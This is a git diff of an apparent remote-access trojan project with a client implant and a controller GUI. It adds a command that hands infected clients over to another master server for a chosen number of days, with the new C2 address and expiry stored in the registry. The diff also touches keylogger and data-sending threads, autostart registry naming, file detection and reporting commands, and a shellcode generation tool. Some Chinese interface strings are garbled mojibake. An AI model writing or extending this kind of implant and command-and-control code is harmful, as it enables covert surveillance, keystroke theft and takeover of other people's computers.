diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 27f7ec8..fea5e6b 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -3,6 +3,7 @@ #include "stdafx.h" #include "ClientDll.h" +#include // 自动启动注册表中的值 #define REG_NAME "a_ghost" @@ -473,6 +474,17 @@ DWORD WINAPI StartClient(LPVOID lParam) { ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); + if (!app.m_bShared) + { + iniFile cfg(CLIENT_PATH); + auto now = time(0); + auto valid_to = atof(cfg.GetStr("settings", "valid_to").c_str()); + if (now <= valid_to) { + auto saved_ip = cfg.GetStr("settings", "master"); + auto saved_port = cfg.GetInt("settings", "port"); + settings.SetServer(saved_ip.c_str(), saved_port); + } + } auto list = app.GetSharedMasterList(); if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) { for (int i=1; i 2) { switch (szBuffer[1]) { + case SHARE_TYPE_YAMA_FOREVER: { + auto v = StringToVector((char*)szBuffer + 2, ':', 3); + if (v[0].empty() || v[1].empty()) + break; + + iniFile cfg(CLIENT_PATH); + cfg.SetStr("settings", "master", v[0]); + cfg.SetStr("settings", "port", v[1]); + float days = atof(v[2].c_str()); + if (days > 0) { + auto valid_to = time(0) + days*86400; + // overflow after 2038-01-19 + cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); + } + } case SHARE_TYPE_YAMA: { auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); diff --git a/client/KeyboardManager.cpp b/client/KeyboardManager.cpp index e19d3dc..8818d19 100644 --- a/client/KeyboardManager.cpp +++ b/client/KeyboardManager.cpp @@ -31,8 +31,8 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user m_bIsWorking = true; - m_hWorkThread = MyCreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); - m_hSendThread = MyCreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); + m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); + m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); SetReady(TRUE); } diff --git a/common/commands.h b/common/commands.h index 983a1c0..1cfd379 100644 --- a/common/commands.h +++ b/common/commands.h @@ -243,6 +243,11 @@ enum COMMAND_BYE, // 被控端退出 SERVER_EXIT=205, // 主控端退出 + COMMAND_CC, // CC + COMMAND_ASSIGN_MASTER, // 分配主控 + COMMAND_FILE_DETECT, // 文件探测 + COMMAND_FILE_REPORT, // 文件上报 + SOCKET_DLLLOADER=210, // 客户端请求DLL CMD_DLLDATA, // 响应DLL数据 CMD_RUNASADMIN=214, // ADMIN 运行 @@ -460,6 +465,7 @@ enum enum { SHARE_TYPE_YAMA = 0, // 分享给同类程序 SHARE_TYPE_HOLDINGHANDS = 1, // 分享给 HoldingHands: https://github.com/yuanyuanxiang/HoldingHands + SHARE_TYPE_YAMA_FOREVER = 100, // 永久分享 }; inline const char* GetClientType(int typ) { diff --git a/common/iniFile.h b/common/iniFile.h index e6df511..0ddf44f 100644 --- a/common/iniFile.h +++ b/common/iniFile.h @@ -5,6 +5,7 @@ #define YAMA_PATH "Software\\YAMA" #define CLIENT_PATH "Software\\ServerD11" +// 配置读取类: 文件配置. class config { private: @@ -51,6 +52,7 @@ public: } }; +// 配置读取类: 注册表配置. class iniFile : public config { private: diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index 2195b29..f12e98b 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 72d71fe..1513fd4 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -303,6 +303,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[9].LoadBitmap(IDB_BITMAP_SDESKTOP); m_bmOnline[10].LoadBitmap(IDB_BITMAP_AUTHORIZE); m_bmOnline[11].LoadBitmap(IDB_BITMAP_UNAUTH); + m_bmOnline[12].LoadBitmap(IDB_BITMAP_ASSIGNTO); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -418,6 +419,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_TOOL_REQUEST_AUTH, &CMy2015RemoteDlg::OnToolRequestAuth) ON_COMMAND(ID_TOOL_INPUT_PASSWORD, &CMy2015RemoteDlg::OnToolInputPassword) ON_COMMAND(ID_TOOL_GEN_SHELLCODE, &CMy2015RemoteDlg::OnToolGenShellcode) + ON_COMMAND(ID_ONLINE_ASSIGN_TO, &CMy2015RemoteDlg::OnOnlineAssignTo) END_MESSAGE_MAP() @@ -1278,6 +1280,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_H264_DESKTOP, MF_BYCOMMAND, &m_bmOnline[9], &m_bmOnline[9]); Menu.SetMenuItemBitmaps(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND, &m_bmOnline[10], &m_bmOnline[10]); Menu.SetMenuItemBitmaps(ID_ONLINE_UNAUTHORIZE, MF_BYCOMMAND, &m_bmOnline[11], &m_bmOnline[11]); + Menu.SetMenuItemBitmaps(ID_ONLINE_ASSIGN_TO, MF_BYCOMMAND, &m_bmOnline[12], &m_bmOnline[12]); // 鍒涘缓涓涓柊鐨勫瓙鑿滃崟 CMenu newMenu; @@ -2995,3 +2998,29 @@ void CMy2015RemoteDlg::OnToolGenShellcode() SAFE_DELETE_ARRAY(szBuffer); } } + + +void CMy2015RemoteDlg::OnOnlineAssignTo() +{ + CInputDialog dlg(this); + dlg.Init("杞Щ涓绘満(鍒版湡鑷姩澶嶅師)", "杈撳叆鍦板潃:"); + dlg.Init2("澶╂暟(鏀寔娴偣鏁):", "30"); + if (dlg.DoModal() != IDOK || dlg.m_str.IsEmpty() || atof(dlg.m_sSecondInput.GetString())<=0) + return; + if (dlg.m_str.GetLength() >= 250) { + MessageBox("瀛楃涓查暱搴﹁秴鍑篬0, 250]鑼冨洿闄愬埗!", "鎻愮ず", MB_ICONINFORMATION); + return; + } + if (dlg.m_sSecondInput.GetLength() >= 6) { + MessageBox("瓒呭嚭浣跨敤鏃堕棿鍙緭鍏ョ殑瀛楃鏁伴檺鍒!", "鎻愮ず", MB_ICONINFORMATION); + return; + } + + BYTE bToken[_MAX_PATH] = { COMMAND_ASSIGN_MASTER }; + // 鐩爣涓绘満绫诲瀷 + bToken[1] = SHARE_TYPE_YAMA_FOREVER; + memcpy(bToken + 2, dlg.m_str, dlg.m_str.GetLength()); + bToken[2 + dlg.m_str.GetLength()] = ':'; + memcpy(bToken + 2 + dlg.m_str.GetLength() + 1, dlg.m_sSecondInput, dlg.m_sSecondInput.GetLength()); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index e2a938e..54b4d33 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -196,7 +196,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[12]; + CBitmap m_bmOnline[13]; uint64_t m_superID; bool CheckValid(int trail = 14); afx_msg void OnTimer(UINT_PTR nIDEvent); @@ -268,4 +268,5 @@ public: afx_msg void OnToolInputPassword(); afx_msg LRESULT OnShowMessage(WPARAM wParam, LPARAM lParam); afx_msg void OnToolGenShellcode(); + afx_msg void OnOnlineAssignTo(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 7195bbd..b5882f8 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -389,6 +389,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index 5750768..6f4a66a 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -153,6 +153,7 @@ + diff --git a/server/2015Remote/res/Bitmap/AssignTo.bmp b/server/2015Remote/res/Bitmap/AssignTo.bmp new file mode 100644 index 0000000..69bbf73 Binary files /dev/null and b/server/2015Remote/res/Bitmap/AssignTo.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 29c02b7..da774cf 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ